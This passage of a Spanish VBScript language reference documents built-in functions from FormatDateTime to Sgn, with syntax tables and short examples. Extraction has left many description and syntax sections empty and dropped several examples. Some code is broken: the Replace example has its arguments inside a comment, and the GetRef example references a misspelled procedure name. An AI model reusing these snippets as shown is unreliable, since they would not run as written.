El argumento FormatoConNombre tiene los siguientes valores:
Constante Valor Descripción
vbGeneralDate 0 Muestra una fecha o una hora. Si hay una parte que sea fecha, la muestra con formato
de fecha corta. Si hay una parte que sea hora, la muestra con formato de hora largo. Si
está presente, se muestran ambas partes.
vbLongDate 1 Muestra una fecha con el formato de fecha larga especificado en la configuración
regional del equipo.
vbShortDate 2 Muestra una fecha con el formato de fecha corta especificado en la configuración
regional del equipo.
vbLongTime 3 Muestra una hora con el formato de hora especificado en la configuración regional del
equipo.
Comentarios
El siguiente ejemplo usa la función FormatDateTime para dar formato de fecha larga a la expresión y
asignarla a MiFechaHora:
Function ObtenerFechaActual
' FormatDateTime da formato a Date como fecha larga.
ObtenerFechaActual = FormatDateTime(Date, 1)
End Function
Función FormatNumber
Descripción
Sintaxis
Parte Descripción
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 33
Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los
siguientes valores:
Constante Valor Descripción
TristateTrue -1 True
TristateFalse 0 False
Comentarios
Cuando se omiten uno o más de los argumentos opcionales, los valores de los argumentos omitidos los
proporciona la configuración regional del equipo.
El siguiente ejemplo usa la función FormatNumber para dar formato a un número para que tenga cuatro
lugares decimales:
Function EjemploDeFormatNumber
Dim MiAngulo, MiSecante, MiNumero
MiAngulo = 1.3 ' Define un ángulo en radianes.
MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante.
EjemploDeFormatNumber = FormatNumber(MiSecante,4) ' Da formato a MiSecante para que tenga
cuatro lugares decimales.
End Function
Función FormatPercent
Descripción
Devuelve una expresión con formato de porcentaje (multiplicada por 100) con una carácter % inicial.
Sintaxis
FormatPercent(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio
[,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]])
Parte Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 34
los números con el delimitador de grupos especificado en el Panel de
control. Consulte la sección Valores para saber cuáles son los valores
permitidos.
Valores
TristateTrue -1 True
TristateFalse 0 False
Comentarios
Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los
proporciona la configuración regional del sistema.
El siguiente ejemplo usa la función FormatPercent para dar formato a una expresión como porcentaje:
Dim MiPorcentaje
MiPorcentaje = FormatPercent(2/32) ' MiPorcentaje contiene 6.25%.
Función GetObject
Descripción
Sintaxis
GetObject([nombrederuta] [, clase])
Parte Descripción
nombrederuta Opcional; String. Ruta y nombre completos del archivo que contiene el objeto que desea recuperar.
Si se omite nombrederuta, se requiere clase.
Parte Descripción
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 35
Use la función GetObject para tener acceso a un objeto de automatización desde un archivo y asignar el
objeto a una variable de objeto. Use la instrucción Set para asignar el objeto devuelto por GetObject a la
variable de objeto. Por ejemplo:
Dim CADObject
Set CADObject = GetObject("C:\CAD\SCHEMA.CAD")
Cuando se ejecuta este código, se inicia la aplicación asociada con el nombre de ruta especificado y el
objeto del archivo especificado se activa. Si nombrederuta es una cadena de longitud cero (""),
GetObject devuelve una nueva instancia de objeto del tipo especificado. Si se omite el argumento
nombrederuta, GetObject devuelve un objeto activo del tipo especificado. Si no existe ningún objeto del
tipo especificado, se produce un error.
Algunas aplicaciones le permiten activar parte de un archivo. Agregue un signo de admiración (!) al final
del nombre del archivo y, a continuación, agregue una cadena que identifique la parte del archivo que
desea activar. Para obtener información acerca de cómo crear esta cadena, consulte la documentación de
la aplicación que creó el objeto.
Por ejemplo, en una aplicación de dibujo podría tener varias capas de un dibujo almacenado en un
archivo. Podría usar el siguiente código para activar una capa de un dibujo llamado SCHEMA.CAD:
Nota Use la función GetObject cuando hay una instancia actual del objeto o si desea crear el objeto
con un archivo cargado. Si no hay una instancia actual y no desea iniciar el objeto con un archivo
cargado, use la función CreateObject.
Si un objeto se ha registrado como un objeto de una única instancia, sólo se crea una instancia del
objeto, independientemente del número de veces que se ejecute CreateObject. Con un objeto de una
única instancia, GetObject siempre devuelve la misma instancia cuando se llama con una sintaxis con
cadena de longitud cero ("") y produce un error si se omite el argumento nombrederuta.
Función GetRef
Descripción
Sintaxis
Parte Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 36
evento Necesario. Nombre del evento al que se va a enlazar la función.
nombreProc Necesario. Cadena que contiene el nombre del procedimiento Sub o Function que se asocia con el
evento.
Observaciones
La función GetRef le permite conectar un procedimiento VBScript (Function o Sub) a cualquier evento
disponible en sus páginas DHTML (de HTML dinámico). El modelo de objetos DHTML proporciona
información acerca de qué eventos están disponibles para sus diversos objetos.
<SCRIPT LANGUAGE="VBScript">
Function PruebaGetRef()
Dim Splash
Splash = "PruebaGetRef Versión 1.0" & vbCrLf
Splash = Splash & Chr(169) & " Organización 1998 "
MsgBox Splash
End Function
Set Window.Onload = GetRef("PruebeGetRef")
</SCRIPT>
Función Hex
Descripción
Sintaxis
Hex(número)
Comentarios
Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo.
Si número es Hex devuelve
Null Null.
El siguiente ejemplo usa la función Hex para devolver el valor hexadecimal de un número:
Dim MiHex
MiHex = Hex(5) ' Devuelve 5.
MiHex = Hex(10) ' Devuelve A.
By KarlosVid(ÊÇ) www.idat.byethost14.com 37
MiHex = Hex(459) ' Devuelve 1CB.
Función Tour
Descripción
Devuelve un número entero entre 0 y 23, ambos incluidos, que representa la hora del día.
Sintaxis
Hour(hora)
El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se
devuelve Null.
El siguiente ejemplo usa la función Hour para obtener la hora a partir de la hora actual:
Función InputBox
Descripción
Muestra una solicitud en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un
botón y devuelve el contenido del cuadro de texto.
Sintaxis
Parte Descripción
solicitud Expresión de cadena mostrada como mensaje en el cuadro de diálogo. La longitud máxima de
solicitud es, aproximadamente, 1024 caracteres, dependiendo del ancho de los caracteres usados.
Si solicitud consta de más de una línea, puede separar las líneas con un carácter de retorno de
carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de retorno de carro y
avance de línea (Chr(13) & Chr(10)) entre cada línea.
título Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el
nombre de la aplicación se muestra en la barra de título.
predeterminado Expresión de cadena en el cuadro de texto que aparece como respuesta predeterminada si no se
proporciona ningún otro texto. Si omite predeterminado, el cuadro de texto se muestra vacío.
posx Expresión numérica que especifica, en twips, la distancia horizontal desde el borde izquierdo del
cuadro de diálogo hasta el borde izquierdo de la pantalla. Si se omite posx, el cuadro de diálogo se
centra horizontalmente.
posy Expresión numérica que especifica, en twips, la distancia vertical desde el borde superior del
cuadro de diálogo hasta el borde superior de la pantalla. Si se omite posy, el cuadro de diálogo se
centra verticalmente, aproximadamente a la altura de un tercio de la pantalla.
archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda
contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe
By KarlosVid(ÊÇ) www.idat.byethost14.com 38
proporcionar contexto.
contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la
Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar
archivodeayuda.
Comentarios
Si el usuario hace clic en Aceptar o si presiona ENTRAR, la función InputBox devuelve lo que esté en el
cuadro de texto. Si el usuario hace clic en Cancelar, la función devuelve una cadena de longitud cero
("").
El siguiente ejemplo usa la función InputBox para mostrar un cuadro de entrada y asigna la cadena a la
variable Entrada:
Dim Entrada
Entrada = InputBox("Escriba su nombre")
MsgBox ("Escribió: " & Entrada)
Función InStr
Descripción
Sintaxis
Parte Descripción
inicio Opcional. Expresión numéricaque establece la posición inicial para cada búsqueda. Si se omite, la
búsqueda comienza en la posición del primer carácter. Si inicio contiene Null, se produce un erro. El
argumento inicio se requiere si se especifica comparación.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas.
Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, se realiza una
comparación binaria.
Valores
Valores devueltos
By KarlosVid(ÊÇ) www.idat.byethost14.com 39
La función InStr devuelve los siguientes valores:
Si InStr devuelve
cadena2 no se encuentra 0
Comentarios
Nota La función InStrB se usa con los datos de tipo Byte contenidos en una cadena. En lugar de
devolver la posición del carácter de la primera coincidencia de una cadena dentro de otra, InStrB
devuelve la posición del byte.
Función InStrRev
Descripción
Devuelve la posición de una coincidencia de una cadena en otra, desde el final de la cadena.
Sintaxis
Parte Descripción
inicio Opcional. Expresión numérica que establece el punto inicial de cada búsqueda. Si se omite, se usa -
1, que significa que la búsqueda comienza en la posición del último carácter. Si inicio contiene Null,
se produce un error.
By KarlosVid(ÊÇ) www.idat.byethost14.com 40
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas.
Si se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son
los valores permitidos.
Valores
Valores devueltos
cadena2 no se encuentra 0
Comentarios
Función IsArray
Descripción
Devuelve un valor de tipo Boolean que indica si una variable es o no una matriz.
Sintaxis
By KarlosVid(ÊÇ) www.idat.byethost14.com 41
IsArray(nombredevariable)
Comentarios
IsArray devuelve True si la variable es una matriz. De lo contrario, devuelve False. IsArray es
especialmente útil con datos de tipo Variant que contienen matrices.
El siguiente ejemplo usa la función IsArray para verificar si MiVariable es una matriz:
Dim MiVariable
Dim MiMatriz(3)
MiMatriz(0) = "Domingo"
MiMatriz(1) = "Lunes"
MiMatriz(2) = "Martes"
MiVariable = IsArray(MiMatriz) ' MiVariable contiene "True".
Función IsDate
Descripción
Devuelve un valor de tipo Boolean que indica si una expresión se puede o no convertir en una fecha.
Sintaxis
IsDate(expresión)
El argumento expresión puede ser cualquier expresión de fecha o expresión de cadena reconocible como
fecha u hora.
Comentarios
IsDate devuelve True si la expresión es una fecha o si se puede convertir en una fecha válida. De lo
contrario, devuelve False. En Microsoft Windows, el intervalo válido de fechas es desde el 1 de enero del
año 100 hasta el 31 de diciembre del año 9999; los intervalos varían según el sistema operativo.
El siguiente ejemplo usa la función IsDate para determinar si una expresión se puede o no convertir en
una fecha:
Función IsEmpty
Descripción
Devuelve un valor de tipo Boolean que indica si una variable está iniciada.
Sintaxis
IsEmpty(expresión)
By KarlosVid(ÊÇ) www.idat.byethost14.com 42
El argumento expresión puede ser cualquier expresión. Sin embargo, como IsEmpty se usa para
determinar si están iniciadas variables individuales, con frecuencia el argumento expresión es un único
nombre de variable.
Comentarios
IsEmpty devuelve True si la variable no está iniciada o si está establecida, explícitamente, a Empty. De
lo contrario, devuelve False. Siempre se devuelve False si expresión contiene más de una variable.
El siguiente ejemplo usa la función IsEmpty para determinar si una variable está iniciada:
Función IsNull
Descripción
Devuelve un valor de tipo Boolean que indica si una expresión contiene o no datos válidos (Null).
Sintaxis
IsNull(expresión)
Comentarios
IsNull devuelve True si expresión es Null, es decir, si contiene datos no válidos. De lo contrario, IsNull
devuelve False. Si expresión consta de más de una variable, Null en cualquier variable hace que se
devuelva True para la expresión completa.
El valor Null indica que la variable contiene datos no válidos. Null no es igual que Empty, que indica que
una variable aún no está iniciada. Tampoco es igual que una cadena de longitud cero (""), también
conocida como cadena nula.
Importante Use la función IsNull para determinar si una expresión contiene o no un valor Null.
Expresiones que bajo algunas circunstancias esperaría que fuesen igual a True, como If Var = Null o
If Var <> Null, siempre son iguales a False. Esto se debe a que cualquier expresión que contiene Null es
igual a Null y es, por lo tanto, igual a False.
El siguiente ejemplo usa la función IsNull para determinar si una variable contiene Null:
Función IsNumeric
By KarlosVid(ÊÇ) www.idat.byethost14.com 43
Descripción
Devuelve un valor de tipo Boolean que indica si una expresión se puede evaluar como un número.
Sintaxis
IsNumeric(expresión)
Comentarios
IsNumeric devuelve True si toda la expresión se reconoce como un número. De lo contrario, devuelve
False. IsNumeric devuelve False si expresión es una expresión de fecha.
El siguiente ejemplo usa la función IsNumeric para determinar si una variable se puede evaluar como un
número:
Función IsObject
Descripción
Devuelve un valor de tipo Boolean que indica si una expresión hace referencia a un objeto de
Automatización válido.
Sintaxis
IsObject(expresión)
Comentarios
IsObject devuelve True si expresión es una variable del subtipo Object o un objeto definido por el
usuario. De lo contrario, devuelve False.
El siguiente ejemplo usa la función IsObject para determinar si un identificador representa una variable
de objeto:
Función Join
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 44
Devuelve una cadena creada mediante la unión de varias subcadenas contenidas en una matriz.
Sintaxis
Join(lista[, delimitador])
Parte Descripción
lista Requerido. Matriz unidimensional que contiene las subcadenas que se van a unir.
delimitador Opcional. Carácter de cadena que se usa para separar las subcadenas de la cadena devuelta. Si se
omite se usa el carácter de espacio (" "). Si delimitador es una cadena de longitud cero, se concatenan
todos los elementos de la lista sin ningún delimitador.
Comentarios
El siguiente ejemplo usa la función Join para unir las subcadenas de MiMatriz:
Dim MiCadena
Dim MiMatriz(4)
MiMatriz(0) = "Sr."
MiMatriz(1) = "Luis "
MiMatriz(2) = "Gullermo "
MiMatriz(3) = "Romero "
MiCadena = Join(MiMatriz) ' MiCadena contiene "Sr. Luis Guillermo Romero".
Función LBound
Descripción
Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
Sintaxis
LBound(nombredematriz[, dimensión])
Parte Descripción
nombredematriz Nombre de la variable de matriz, que cumple con las convenciones estándar de asignación de
nombres de variables.
dimensión Número entero que indica de qué dimensión se devuelve el límite inferior. Use 1 para la primera
dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume 1.
Comentarios
La función LBound se usa con la función UBound para determinar el tamaño de una matriz. Use la
función UBound para buscar el límite superior de una dimensión de una matriz.
Función LCase
By KarlosVid(ÊÇ) www.idat.byethost14.com 45
Descripción
Sintaxis
LCase(cadena)
El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios
Sólo se convierten a minúsculas las letras en mayúsculas; todas las letras en minúsculas y caracteres que
no son letras no cambian.
El siguiente ejemplo usa la función LCase para convertir letras mayúsculas en minúsculas:
Dim MiCadena
Dim LCaseString
MiCadena = "VBSCript"
LCaseString = LCase(MiCadena) ' LCaseString contiene "vbscript".
Función Left
Descripción
Devuelve un número de caracteres especificado a partir del lado izquierdo de una cadena.
Sintaxis
Left(cadena, longitud)
Parte Descripción
cadena Expresión de cadena a partir de la que se devuelven los caracteres que están más a la izquierda. Si cadena
contiene Null, se devuelve Null.
longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una
cadena de longitud cero (""). Si es mayor o igual al número de caracteres de cadena, se devuelve la
cadena completa.
Comentarios
Para determinar el número de caracteres que contiene cadena, use la función Len.
El siguiente ejemplo usa la función Left para devolver los primeros tres caracteres de MiCadena:
Nota La función LeftB se usa con los datos de Byte contenidos en una cadena. En lugar de especificar
el número de caracteres que se van a devolver, longitud especifica el número de bytes.
By KarlosVid(ÊÇ) www.idat.byethost14.com 46
Función Len
Descripción
Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una
variable.
Sintaxis
Len(cadena | nombredevariable)
Parte Descripción
cadena Cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
nombredevariable Cualquier nombre de variable válido. Si nombrevariable contiene Null, se devuelve Null.
Comentarios
En el siguiente ejemplo se usa la función Len para devolver el número de caracteres que contiene una
cadena:
Dim MiCadena
MiCadena = Len("VBSCRIPT") ' MiCadena contiene 8.
Nota La función LenB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un
número de caracteres en una cadena, LenB devuelve el número de bytes usados para representar dicha
cadena.
Función LoadPicture
Descripción
Sintaxis
LoadPicture(nombredeimagen)
El argumento nombredeimagen es una expresión de cadena que indica el nombre del archivo de imagen
que se va a cargar.
Comentarios
Los formatos gráficos reconocidos por LoadPicture incluyen archivos de mapa de bits (.bmp), archivos
de iconos (.ico), archivos cifrados de longitud continua (.rle), metaarchivos (.wmf), metaarchivos
mejorados (.emf), archivos GIF (.gif) y archivos JPEG (.jpg).
Función Log
By KarlosVid(ÊÇ) www.idat.byethost14.com 47
Descripción
Sintaxis
Log(número)
El argumento número puede ser cualquier expresión numérica válida mayor que 0.
Comentarios
Puede calcular logaritmos base n de cualquier número x si divide el logaritmo natural de x por el
logaritmo natural de n como se muestra a continuación:
Descripción
Devuelve una copia de una cadena sin espacios iniciales (LTrim), espacios finales (RTrim) o ambos
(Trim).
Sintaxis
LTrim(cadena)
RTrim(cadena)
Trim(cadena)
El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.
Comentarios
Los siguientes ejemplos usan las funciones LTrim, RTrim y Trim para recortar espacios iniciales,
espacios finales y ambos, respectivamente:
Dim MiVar
MiVar = LTrim(" vbscript ") ' MiVar contiene "vbscript ".
MiVar = RTrim(" vbscript ") ' MiVar contiene " vbscript".
MiVar = Trim(" vbscript ") ' MiVar contiene "vbscript".
Función Mid
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 48
Sintaxis
Parte Descripción
cadena Expresión de cadena a partir de la que se devuelven los caracteres. Si cadena contiene Null, se devuelve
Null.
inicio Posición de carácter en cadena en la que comienza la parte que se va a obtener. Si inicio es mayor que el
número de caracteres que hay en cadena, Mid devuelve una cadena de longitud cero ("").
longitud Número de caracteres que se va a devolver. Si se omite o si hay menos caracteres que longitud en el texto
(incluido el carácter que está en la posición inicio), se devuelven todos los caracteres desde la posición
inicio hasta el final de la cadena.
Comentarios
Para determinar el número de caracteres que hay en cadena, use la función Len.
El siguiente ejemplo usa la función Mid para devolver seis caracteres, comenzando en el cuarto carácter,
en una cadena:
Dim MiVar
MiVar = Mid("VB Script es divertido", 4, 6) ' MiVar contiene "Script".
Nota La función MidB se usa con los datos de byte contenidos en una cadena. En lugar de especificar el
número de caracteres, los argumentos especifican el número de bytes.
Función Minute
Descripción
Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el minuto de la hora.
Sintaxis
Minute(hora)
El argumento hora es cualquier expresión que puede representar una hora. Si hora contiene Null, se
devuelve Null.
Comentarios
Función Month
Descripción
Devuelve un número entero entre 1 y 12, ambos incluidos, que representa el mes del año.
Sintaxis
By KarlosVid(ÊÇ) www.idat.byethost14.com 49
Month(fecha)
El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contien Null, se
devuelve Null.
Comentarios
Función MonthName
Descripción
Sintaxis
MonthName(mes[, abreviar])
Parte Descripción
mes Requerido. La designación numérica del mes. Por ejemplo, enero es 1, febrero es 2 y así
sucesivamente.
abreviar Opcional. Valor de tipo Boolean que indica si el nombre del mes se debe abreviar. Si se omite, el
valor predeterminado es False, que significa que el nombre del mes no se debe abreviar.
Comentarios
El siguiente ejemplo usa la función MonthName para devolver un nombre de mes abreviado para una
expresión de fecha:
Dim MiVar
MiVar = MonthName(10, True) ' MiVar contiene "Oct".
Función MsgBox
Descripción
Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un botón y devuelve
un valor que indica en qué botón hizo clic el usuario.
Sintaxis
Parte Descripción
solicitud Expresión de cadena que se muestra como mensaje en el cuadro de diálogo. La longitud máxima
de solicitud es aproximadamente igual a 1024 caracteres, según el ancho de los caracteres usados.
By KarlosVid(ÊÇ) www.idat.byethost14.com 50
Si solicitud consta de más de una línea, puede seperar las líneas con un carácter de retorno de
carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de caracteres de
retorno de carro y avance de línea (Chr(13) y Chr(10)) entre cada línea.
botones Expresión numérica que es igual a la suma de los valores que especifican la cantidad y el tipo de
botones que se van a mostrar, el estilo de icono que se va a usar, la identidad del botón
predeterminado y el modo de cuadro de diálogo. Consulte la sección Valores para saber cuáles
son los valores permitidos. Si se omite, el valor predeterminado de botones es 0.
título Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el
nombre de la aplicación aparece en la barra de título.
archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda
contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe
proporcionar contexto. No está disponible en plataformas de 16 bits.
contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la
Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar
archivodeayuda. No está disponible en plataformas de 16 bits.
Valores
vbApplicationModal 0 Aplicación modal; el usuario debe responder al cuadro de mensaje antes de seguir
trabajando en la aplicación actual.
vbSystemModal 4096 Sistema modal; todas las aplicaciones se suspenden hasta que el usuario responde
al cuadro de mensaje.
Valores devueltos
By KarlosVid(ÊÇ) www.idat.byethost14.com 51
Constante Valor Botón
vbOK 1 Aceptar
vbCancel 2 Cancelar
vbAbort 3 Anular
vbRetry 4 Reintentar
vbIgnore 5 Ignorar
vbYes 6 Sí
vbNo 7 No
Comentarios
Cuando se proporcionan archivodeayuda y contexto, el usuario puede presionar F1 para ver el tema de
Ayuda que corresponde al contexto.
Si el cuadro de diálog muestra un botón Cancelar, si presiona la tecla ESC tiene el mismo efecto que si
hace clic en Cancelar. Si el cuadro de diálogo contiene un botón Ayuda, se proporcionar Ayuda
contextual para el cuadro de diálogo. Sin embargo, no se devuelve ningún valor hasta que no se presiona
cualquiera de los otros botones.
El siguiente ejemplo usa la función MsgBox para mostrar un cuadro de mensaje y devolver un valor que
describe qué botón se presionó:
Dim MiVar
MiVar = MsgBox ("Hola mundo", 65, "Ejemplo de MsgBox")' MiVar contiene 1 o 2,
' según el botón en el que se haga
' clic.
Función Now
Descripción
Sintaxis
Now
Comentarios
El siguiente ejemplo usa la función Now para devolver la fecha y hora actuales:
Dim MiVar
MiVar = Now ' MiVar contiene la fecha y hora actuales.
Función Oct
Descripción
Sintaxis
By KarlosVid(ÊÇ) www.idat.byethost14.com 52
Oct(número)
Comentarios
Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo.
Si número es Oct devuelve
Null Null.
Puede representar números octales directamente, precediendo los números del intervalo adecuado con
&O. Por ejemplo, &O10 es la notación octal para el número 8 decimal.
El siguiente ejemplo usa la función Oct para devolver el valor octal de un número:
Dim MiOct
MiOct = Oct(4) ' Devuelve 4.
MiOct = Oct(8) ' Devuelve 10.
MiOct = Oct(459) ' Devuelve 713.
Función Replace
Descripción
Devuelve una cadena en la que una subcadena especificada se reemplazó por otra subcadena un número
de veces especificado.
Sintaxis
Parte Descripción
inicio Opcional. Posición dentro de expresión donde debe comenzar la búsqueda de la subcadena. Si se
omite, se asume 1. Se debe usar junto con cuenta.
cuenta Opcional. Número de sustituciones de subcadenas que se van a realizar. Si se omite, el valor
predeterminado es -1, que significa que deben hacer todas las sustituciones posibles. Se debe usar
junto con inicio.
comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar
subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite,
el valor predeterminado es 0, que significa que se debe realizar una comparación binaria.
Valores
By KarlosVid(ÊÇ) www.idat.byethost14.com 53
Constante Valor Descripción
Valores devueltos
reemplazarcon es de longitud cero Una copia de expresión con todas las coincidencias de buscar quitadas.
Comentarios
El valor devuelto por la función Replace es una cadena, con las sustituciones hechas, que comienza en la
posición especificada por inicio y termina al final de la cadena expresión. No es una copia de la cadena
original desde el inicio hasta el final.
Dim MiCadena
MiCadena = Replace("XXpXXPXXp", "p", "Y") ' Una comparación binaria
' que comienza en el principio de la cadena. Devuelve "XXYXXPXXY".
MiCadena = Replace("XXpXXPXXp", "p", "Y", ' Una comparación de texto que comienza en la posición 3.
' Devuelve "YXXYXXY". 3, -1, 1)
Función RGB
Descripción
Sintaxis
Parte Descripción
rojo Requerido. Número en el intervalo entre 0 y 255 que representa el componente rojo del color.
verde Requerido. Número en el intervalo entre 0 y 255 que representa el componente verde del color.
azul Requerido. Número en el intervalo entre 0 y 255 que representa el componente azul del color.
Comentarios
By KarlosVid(ÊÇ) www.idat.byethost14.com 54
Los métodos y propiedades de aplicaciones que aceptan una especificación de color esperan que la
especificación sea un número que represente un valor de un color RGB. Un valor de un color RGB
especifica la intensidad relativa de rojo, verde y azul para producir la visualización de un color específico.
El byte menos significativo contiene el valor del rojo, el byte del medio contiene el valor del verde y el
byte más significativo contiene el valor del azul.
Para aplicaciones que requieren que el orden de los bytes se invierta, la siguiente función proporcion la
misma información con los bytes invertidos:
Se asume que el valor de cualquier argumento RGB que exceda 255, es 255.
Función Right
Descripción
Devuelve un número de caracteres especificado a partir del lado derecho de una cadena.
Sintaxis
Right(cadena, longitud)
Parte Descripción
cadena Expresión de cadena desde la que se devuelven los caracteres que están más a la derecha. Si cadena
contiene Null, se devuelve Null.
longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una
cadena de longitud cero. Si es mayor o igual al número de caracteres que hay en cadena, se devuelve toda
la cadena.
Comentarios
Para determinar el número de caracteres que hay en cadena, use la función Len.
El siguiente ejemplo usa la función Right para devolver un número especificado de caracteres a partir del
lado derecho de una cadena:
Nota La función RightB se usa con los datos de byte contenidos en una cadena. En lugar de especificar
el número de caracteres que se deben devolver, longitud especifica el número de bytes.
Función Rnd
Descripción
By KarlosVid(ÊÇ) www.idat.byethost14.com 55
Devuelve un número aleatorio.
Sintaxis
Rnd[(número)]
Comentarios
La función Rnd devuelve un valor menor que 1 pero mayor o igual a 0. El valor de número determina
cómo Rnd genera un número aleatorio:
Si número es Rnd genera
Menor que cero El mismo número cada vez, con número como semilla.
Para cualquier semilla inicial proporcionada, se genera la misma secuencia de números porque cada
llamada sucesiva a la función Rnd usa el número anterior como semilla para el siguiente número de la
secuencia.
Antes de llamar a Rnd, use la instrucción Randomize sin ningún argumento para iniciar el generador de
números aleatorios con una semilla basada en el reloj del sistema.
Para producir enteros aleatorios dentro de un intervalo específico, use esta fórmula:
Nota Para repetir secuencias de números aleatorios, llame a Rnd con un número negativo como
argumento, inmediatamente antes de usar Randomize con un argumento numérico. Si usa Randomize
con el mismo valor para número no se repite la secuencia anterior.
Función Round
Descripción
Sintaxis
Round(expresión[, posicionesdecimales])
Parte Descripción
posicionesdecimales Opcional. Número que indica cuántas posiciones a la derecha del decimal se incluyen en el
redondeo. Si se omite, la función Round devuelve enteros.
By KarlosVid(ÊÇ) www.idat.byethost14.com 56
Comentarios
El siguiente ejemplo usa la función Round para redondear un número a dos posiciones decimales:
Dim MiVar, pi
pi = 3.14159
MiVar = Round(pi, 2) ' MiVar contiene 3.14.
Devuelve una cadena que representa el lenguaje de secuencias de comandos que se está usando.
Sintaxis
ScriptEngine
Valores devueltos
VBScript Indica que el motor de secuencias de comandos actual es Microsoft® Visual Basic® Scripting Edition.
VBA Indica que el motor de secuencias de comandos actual es Microsoft Visual Basic for Applications.
Comentarios
El siguiente ejemplo usa la función ScriptEngine para devolver una cadena que describe el lenguaje de
secuencias de comandos que se está usando:
Function ObtenerInformacionDeMotorDeSecuenciasDeComandos
Dim s
s = "" ' Genera una cadena con la información necesaria.
s = ScriptEngine & " versión "
s = s & ScriptEngineMajorVersion & "."
s = s & ScriptEngineMinorVersion & "."
s = s & ScriptEngineBuildVersion
ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados.
End Function
Función ScriptEngineBuildVersion
Descripción
Devuelve el número de versión de build del motor de secuencias de comandos que se está usando.
Sintaxis
ScriptEngineBuildVersion
Comentarios
El valor devuelto corresponde directamente a la información de versión contenida en la DLL del lenguaje
de secuencias de comandos que se está usando.
By KarlosVid(ÊÇ) www.idat.byethost14.com 57
El siguiente ejemplo usa la función ScriptEngineBuildVersion para devolver el número de versión de
build del motor de secuencias de comandos:
Function ObtenerInformacionDeMotorDeSecuenciasDeComandos
Dim s
s = "" ' Generar una cadena con la información necesaria.
s = ScriptEngine & " versión "
s = s & ScriptEngineMajorVersion & "."
s = s & ScriptEngineMinorVersion & "."
s = s & ScriptEngineBuildVersion
ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados.
End Function
Función ScriptEngineMajorVersion
ScriptEngineMajorVersion
Descripción
Devuelve el número de versión principal del motor de secuencias de comandos que se está usando.
Sintaxis
ScriptEngineMajorVersion
Comentarios
El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el
lenguaje de secuencias de comandos que se está usando.
El siguiente ejemplo usa la función ScriptEngineMajorVersion para devolver el número de versión del
motor de secuencias de comandos:
Function ObtenerInformacionDeMotorDeSecuenciasDeComandos
Dim s
s = "" ' Generar una cadena con la información necesaria.
s = ScriptEngine & " versión "
s = s & ScriptEngineMajorVersion & "."
s = s & ScriptEngineMinorVersion & "."
s = s & ScriptEngineBuildVersion
ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados.
End Function
Función ScriptEngineMinorVersion
Descripción
Devuelve el número de versión secundaria del motor de secuencias de comandos que se está usando.
Sintaxis
ScriptEngineMinorVersion
Comentarios
El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el
lenguaje de secuencias de comandos que se está usando.
By KarlosVid(ÊÇ) www.idat.byethost14.com 58
El siguiente ejemplo usa la función ScriptEngineMinorVersion para devolver el número de versión
secundaria del motor de secuencias de comandos:
Function ObtenerInformacionDeMotorDeSecuenciasDeComandos
Dim s
s = "" ' Generar una cadena con la información necesaria.
s = ScriptEngine & " versión "
s = s & ScriptEngineMajorVersion & "."
s = s & ScriptEngineMinorVersion & "."
s = s & ScriptEngineBuildVersion
ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados.
End Function
Función Second
Descripción
Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el segundo del minuto.
Sintaxis
Second(hora)
El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se
devuelve Null.
Comentarios
Función Sgn
Descripción
Sintaxis
Sgn(número)
Valores devueltos
